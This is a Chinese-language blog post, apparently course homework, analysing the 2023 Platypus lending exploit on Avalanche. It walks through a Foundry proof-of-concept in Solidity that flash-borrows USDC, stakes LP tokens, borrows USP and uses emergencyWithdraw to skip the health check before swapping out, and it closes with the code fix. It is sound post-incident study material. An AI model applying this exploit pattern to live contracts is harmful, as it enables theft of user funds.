{"content":{"title":"图解Platypus借贷漏洞的攻击过程和POC","body":"<!--StartFragment-->\r\n\r\n\r\n# 一. Platypus 的背景知识\r\n\r\nPlatypus 是雪崩链的稳定币交易所，众所周知，交易所都有流动性的问题，怎么才能把token的利用率最大化是所有DEX要解决的问题，这个问题不是本篇的重点，这里不做讨论。\r\n\r\nPlatypus 做了自己的创新，用户向 Platypus 提供流动性，正常要得到 LP Token，这是通用的设计。Platypus 将 LP Token设计成了一个可以抵押兑换新的稳定币 USP的机制。 \r\n\r\n## 自创稳定币USP\r\n\r\n新的稳定币 USP，其他交易所都不会认可。也不是让你拿 USP 出去用的。\r\n\r\n拿着USP，你可以去 Platypus金库借贷出通用的稳定币出来，继续用来提供流动性。\r\n这就极大的提高了资金的利用效率。\r\n\r\n所以， Platypus 不仅仅是 DEX，还是 Lending。功能越多风险也越大，这次就是借贷的地方少了安全检测，出了bug。\r\n\r\n\r\n![6lending_plat_1_bg1.png](https://img.learnblockchain.cn/attachments/2023/12/FmEHUj2y656ddb39de1ff.png)\r\n\r\n\r\n![6lending_plat_2_bg2.png](https://img.learnblockchain.cn/attachments/2023/12/qqdXc9EB656ddb613c97a.png)\r\n\r\n\r\n\r\n![6lending_plat_3_bg3.png](https://img.learnblockchain.cn/attachments/2023/12/DXPhWY18656e8238b8213.png)\r\n\r\n\r\n# 二. 攻击原理\r\n\r\n**攻击在Platypus的借贷功能里**\r\n\r\n## 存款是正常的逻辑：\r\n\r\n![6lending_plat_4_flow1.png](https://img.learnblockchain.cn/attachments/2023/12/V1l3IUdl656ddde6954a1.png)\r\n\r\n## 借款是正常的逻辑：\r\n![6lending_plat_5_flow2.png](https://img.learnblockchain.cn/attachments/2023/12/QyGFVcBu656dddef0a914.png)\r\n\r\n## 取款是正常的逻辑：\r\n![6lending_plat_6_flow3.png](https://img.learnblockchain.cn/attachments/2023/12/fqWBveNd656dddf5eeebd.png)\r\n\r\n## 紧急取款检查 healthFactor 有bug：\r\n![6lending_plat_7_flowerror.png](https://img.learnblockchain.cn/attachments/2023/12/8kZw8wpA656dddfc5da0d.png)\r\n\r\n## `emergencyWithdraw`-有bug的代码：\r\n\r\n![6lending_plat_8_codeerror.png](https://img.learnblockchain.cn/attachments/2023/12/RSEv5cSE656ddf3b92c01.png)\r\n\r\n\r\n# 三.合约的分工\r\n- Pool：`depost`（提供流动性），`swap`（交易稳定币），`withdraw`（移除流动性）。\r\n- MasterPlatypusV4：`depost`（抵押LPToken），`withdraw`（解除抵押）。\r\n- PlatypusTreasure：`borrow`（借出USP），`repay`（偿还USP），`positionView`（用户抵押持仓信息）`isSolvent`（**判断账户是否资不抵债**），`startAuction`（清算）。\r\n\r\n\r\n\r\n\r\n\r\n<!--StartFragment-->\r\n\r\n# 四. POC\r\n\r\n## 准备工作\r\n\r\n### 最佳学习资料：[DeFiHackLabs](https://github.com/SunWeb3Sec/DeFiHackLabs)\r\n\r\n[SunWeb3Sec: 3. 自己动手写POC1 (Price Oracle Manipulation)](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/03\\_write_your_own_poc)\\\r\n[SunWeb3Sec: 4. 自己动手写POC2 - MEV Bot](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/04\\_write_your_own_poc/)\\\r\n[SunWeb3Sec: 6. 自己动手写POC3 (Reentrancy)](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/06\\_write_your_own_poc/)\r\n\r\n工程里有大量POC代码，非常推荐！！！\r\n\r\n### PhaIcon 的使用心得\r\n`PhaIcon`功能很强大。我只说几个我认为重要的点：\r\n1. 梳理攻击步骤时，关闭static静态调用，这些static都是查询balance，ID，address，很重要，但是梳理攻击流程时没有，先关闭，缩小trace行数。\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2023/12/k3TAJ0Lr656ec15408528.png)\r\n\r\n2. 写POC的参数时，尤其是amount，要开启static。\r\n下图，第一行查询出来的`44,000,000`就是后面两行的入参。\r\n![6lending_plat_11phaIcon1.png](https://img.learnblockchain.cn/attachments/2023/12/SGFtgrQH656ec2c6087cd.png)\r\n\r\n3. static查询能确定60%的数字来源，剩下的40%需要仔细看业务逻辑的返回值。\r\n\r\n\r\n![6lending_plat_12phaIcon2.png](https://img.learnblockchain.cn/attachments/2023/12/Lbjeo8ia656ec43cf0043.png)\r\n### 攻击步骤概要\r\n- step1：从 aaveV3，闪电贷 44,000,000个USDC\r\n- step2：向 `platypusPool` 提供流动性， 44,000,000个USDC，得到LP Token\r\n- step3：将LP Token存入 `masterPlatypusV4` 作为抵押物\r\n- step4：向 `platypusTreasure` 借款USP，`platypusTreasure` 会检查 step3 用户的抵押金额。\r\n- **step5：向 `masterPlatypusV4`紧急取款 LP Token**（漏洞在此）\r\n- step6：向 `platypusPool` 取款 USDC\r\n- step7：将白嫖的USP，swap成外面通用的稳定币。\r\n\r\n\r\n### POC的基本信息\r\n- 这一步就是攻击的基本信息\r\n\r\n```solidity\r\n// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.10;\r\n\r\nimport \"forge-std/Test.sol\";\r\nimport \"./interface.sol\";\r\n\r\n// @KeyInfo - \r\n// Attacker : https://avascan.info/blockchain/c/address/0xeff003d64046a6f521ba31f39405cb720e953958\r\n// Attack Contract : https://avascan.info/blockchain/c/address/0x67afdd6489d40a01dae65f709367e1b1d18a5322\r\n// Vulnerable Contract : https://avascan.info/blockchain/c/address/0xbcd6796177ab8071f6a9ba2c3e2e0301ee91bef5\r\n// Attack Tx : https://avascan.info/blockchain/c/tx/0x1266a937c2ccd970e5d7929021eed3ec593a95c68a99b4920c2efa226679b430\r\n\r\n// @Info\r\n// Vulnerable Contract Code : https://avascan.info/blockchain/c/address/0xbcd6796177ab8071f6a9ba2c3e2e0301ee91bef5/contract\r\n\r\n// @Analysis\r\n// Twitter Guy :https://twitter.com/peckshield/status/1626367531480125440\r\n// https://explorer.phalcon.xyz/tx/avax/0x1266a937c2ccd970e5d7929021eed3ec593a95c68a99b4920c2efa226679b430\r\ncontract ContractTest is Test{\r\n\r\n}\r\n```\r\n\r\n\r\n- 看着代码很多，其实都是要调用的接口信息，具体从phalcon取，调了什么取什么。\r\nhttps://explorer.phalcon.xyz/tx/avax/0x1266a937c2ccd970e5d7929021eed3ec593a95c68a99b4920c2efa226679b430?line=814\r\n\r\n```solidity\r\ninterface AaveV3Pool {\r\n    function flashLoanSimple(address receiverAddress, address asset, uint amount, bytes memory params, uint16 referralCode) external;\r\n}\r\ninterface PlatypusPool {\r\n    function deposit(address token, uint amount, address to, uint deadline) external returns (uint);\r\n    function swap(address fromToken, address toToken, uint fromAmount, uint minnumAmount, address to, uint deadline) external returns (uint, uint);\r\n    function withdraw(address token, uint liquidity, uint minimumAmount, address to, uint deadline) external returns (uint);\r\n    function getTokenAddresses() external view returns (address[] memory);\r\n    function assetOf(address token) external view returns (address);//key-value: USDC->LP_USDC\r\n}\r\ninterface IUSP is IERC20{\r\n    function approve(address spender, uint256 amount) external returns (bool);\r\n}\r\ninterface ILP_USDC is IERC20 {\r\n    function approve(address spender, uint256 amount) external returns (bool);\r\n}\r\ninterface MasterPlatypusV4{\r\n    function deposit(uint _pid, uint _amount) external returns(uint256, uint256[] memory);\r\n    function emergencyWithdraw(uint pid) external;\r\n}\r\ninterface PlatypusTreasure{\r\n    function borrow(address token, uint borrowAmount) external;\r\n    function isSolvent(\r\n        address _user,\r\n        address _token,\r\n        bool _open\r\n    ) external view returns (bool solvent, uint256 debtAmount) ;\r\n    function positionView(address _user, address _token) external view returns (PositionView memory);\r\n    /// @notice A struct to preview a user's collateral position; external view-only\r\n    struct PositionView {\r\n        uint256 collateralAmount;\r\n        uint256 collateralUSD;\r\n        uint256 borrowLimitUSP;\r\n        uint256 liquidateLimitUSP;\r\n        uint256 debtAmountUSP;\r\n        uint256 debtShare;\r\n        uint256 healthFactor; // `healthFactor` is 0 if `debtAmountUSP` is 0\r\n        bool liquidable;\r\n    }\r\n}\r\n```\r\n- 这里就用的Token和接口实例\r\n\r\n```solidity\r\ncontract ContractTest is Test{\r\n    AaveV3Pool aaveV3Pool = AaveV3Pool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\r\n\r\n    IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);\r\n    IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);\r\n    IERC20 USDT = IERC20(0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7);\r\n    IERC20 USDT_e = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118);\r\n    IERC20 BUSD = IERC20(0x9C9e5fD8bbc25984B178FdCE6117Defa39d2db39);\r\n    IERC20 DAI_e = IERC20(0xd586E7F844cEa2F87f50152665BCbc2C279D8d70);\r\n    ILP_USDC LP_USDC = ILP_USDC(0xAEf735B1E7EcfAf8209ea46610585817Dc0a2E16);\r\n    IUSP USP = IUSP(0xdaCDe03d7Ab4D81fEDdc3a20fAA89aBAc9072CE2);\r\n\r\n    PlatypusPool platypusPool = PlatypusPool(0x66357dCaCe80431aee0A7507e2E361B7e2402370);\r\n\r\n    MasterPlatypusV4 masterPlatypusV4 = MasterPlatypusV4(0xfF6934aAC9C94E1C39358D4fDCF70aeca77D0AB0);\r\n    PlatypusTreasure platypusTreasure = PlatypusTreasure(0x061da45081ACE6ce1622b9787b68aa7033621438);//这里应该是proxy的地址\r\n\r\n\r\n    function setUp() public {\r\n        vm.createSelectFork('Avalanche', 26343614 - 1);\r\n    }\r\n}\r\n```\r\n\r\n## 开始开始POC逻辑\r\n\r\n### - step1：从 aaveV3，闪电贷 44,000,000个USDC\r\n```solidity\r\n    function testExploit() public {\r\n\r\n        aaveV3Pool.flashLoanSimple(address(this), address(USDC), 44_000_000e6,  abi.encode(\"\"), 0);\r\n\r\n    }\r\n```\r\n### - step2：向 `platypusPool` 提供流动性， 44,000,000个USDC，得到LP Token\r\n```solidity\r\n    function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){\r\n        console.log(\"executeOperation\");\r\n        console.logBytes(params);\r\n\r\n        //step2\r\n        USDC.approve(address(aaveV3Pool),   amount + premium);//44,022,000e6变成44_022_000e6\r\n        USDC.approve(address(platypusPool), amount);\r\n        platypusPool.deposit(address(USDC), amount, address(this), block.timestamp+1000);//\r\n        return true；\r\n }\r\n```\r\n### - step3：将LP Token存入 `masterPlatypusV4` 作为抵押物\r\n```solidity\r\n    function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){\r\n        console.log(\"executeOperation\");\r\n        console.logBytes(params);\r\n\r\n        //step2\r\n        ...\r\n         //step3\r\n        uint256 LP_USDC_myBalance = LP_USDC.balanceOf(address(this));\r\n        LP_USDC.approve(address(masterPlatypusV4), LP_USDC_myBalance);\r\n        masterPlatypusV4.deposit(4, LP_USDC_myBalance);\r\n        \r\n        return true;\r\n }\r\n```\r\n### - step4：向 `platypusTreasure` 借款USP，`platypusTreasure` 会检查 step3 用户的抵押金额。\r\n```solidity\r\n    function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){\r\n        console.log(\"executeOperation\");\r\n        console.logBytes(params);\r\n\r\n        //step2\r\n        ...\r\n       //step3\r\n      ...\r\n       //step4\r\n        PlatypusTreasure.PositionView memory positionView = platypusTreasure.positionView(address(this), address(LP_USDC));\r\n        uint256 borrowLimitUSP = positionView.borrowLimitUSP;\r\n        platypusTreasure.borrow(address(LP_USDC), borrowLimitUSP);\r\n        \r\n        return true;\r\n }\r\n```\r\n### - **step5：向 `masterPlatypusV4的emergencyWithdraw`紧急取款 LP Token**（漏洞在此）\r\n```solidity\r\n    function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){\r\n        console.log(\"executeOperation\");\r\n        console.logBytes(params);\r\n\r\n        //step2\r\n        ...\r\n       //step3\r\n      ...\r\n       //step4\r\n      ...\r\n       //step5\r\n        logPositionHealthCheck(address(LP_USDC));\r\n        masterPlatypusV4.emergencyWithdraw(4);//取LP.  抵押LP借的USP还未换，就取款。\r\n        logPositionHealthCheck(address(LP_USDC));\r\n\r\n              \r\n        return true;\r\n }\r\n```\r\n### - step6：向 `platypusPool` 取款 USDC\r\n```solidity\r\n    function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){\r\n        console.log(\"executeOperation\");\r\n        console.logBytes(params);\r\n\r\n        //step2\r\n        ...\r\n       //step3\r\n      ...\r\n       //step4\r\n      ...\r\n       //step5\r\n        ...\r\n        //step6\r\n        LP_USDC_myBalance = LP_USDC.balanceOf(address(this));\r\n        LP_USDC.approve(address(platypusPool), LP_USDC_myBalance);\r\n        platypusPool.withdraw(address(USDC), LP_USDC_myBalance, 0, address(this), block.timestamp+1000);\r\n        \r\n        return true;\r\n }\r\n```\r\n### - step7：将白嫖的USP，swap成外面通用的稳定币。\r\n这里没有兑换完所有的USP，攻击者手里还剩下很多。\r\n```solidity\r\n    function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){\r\n        console.log(\"executeOperation\");\r\n        console.logBytes(params);\r\n\r\n        //step2\r\n        ...\r\n       //step3\r\n      ...\r\n       //step4\r\n      ...\r\n       //step5\r\n        ...\r\n        //step6\r\n        ...\r\n       //step7\r\n        USP.approve(address(platypusPool), 9_000_000e18);\r\n        platypusPool.swap(address(USP), address(USDC), 2_500_000e18, 0, address(this), block.timestamp+1000);\r\n        platypusPool.swap(address(USP), address(USDC_e), 2_000_000e18, 0, address(this), block.timestamp+1000);\r\n        platypusPool.swap(address(USP), address(USDT), 1_600_000e18, 0, address(this), block.timestamp+1000);\r\n        platypusPool.swap(address(USP), address(USDT_e), 1_250_000e18, 0, address(this), block.timestamp+1000);\r\n        platypusPool.swap(address(USP), address(BUSD), 700_000e18, 0, address(this), block.timestamp+1000);\r\n        platypusPool.swap(address(USP), address(DAI_e), 700_000e18, 0, address(this), block.timestamp+1000);\r\n        \r\n        return true;\r\n }\r\n```\r\n\r\n# 五.更多思考\r\n\r\n## 关于swap的数量问题，每种稳定币交易多少是怎么定的？\r\n\r\n攻击者得到了42,044,533个USP，这个量其实已经超过了pool的稳定币现有容量。\r\n所以，只拿出1/5，即9,000,000个USP，还剩下33,044,533个USP没有变现。\r\n\r\n\r\n![6lending_plat_9morethink_table.png](https://img.learnblockchain.cn/attachments/2023/12/0dU0xSRW656eab8ce8724.png)\r\n看上图，swap把每种稳定币都拿走了接近2/3左右。\r\n\r\n我猜测，攻击者是希望Platypus还能继续正常运营，如果一下掏空了，可能项目方就放弃了，毕竟手里还有大量USP等待兑换。\r\n\r\n## 代码怎么改，才能补上漏洞\r\n\r\n很简单，代码调整下顺序，检查放在`transfer`之后，如果转给用户前后，跌破了健康阈值，就revert 回滚代码，攻击就不会发生了。\r\n\r\n![6lending_plat_10morethink_goodcode.png](https://img.learnblockchain.cn/attachments/2023/12/rPjdjiqd656ebe2364a8d.png)\r\n\r\n\r\n\r\n# 六.最后\r\n\r\n这是吴磊老师留的第六课作业，我想说亲手写作业真的很重要。\r\n\r\n\r\n\r\n<!--EndFragment-->"},"author":{"user":"https://learnblockchain.cn/people/3908","address":null},"history":null,"timestamp":1701758613,"version":1}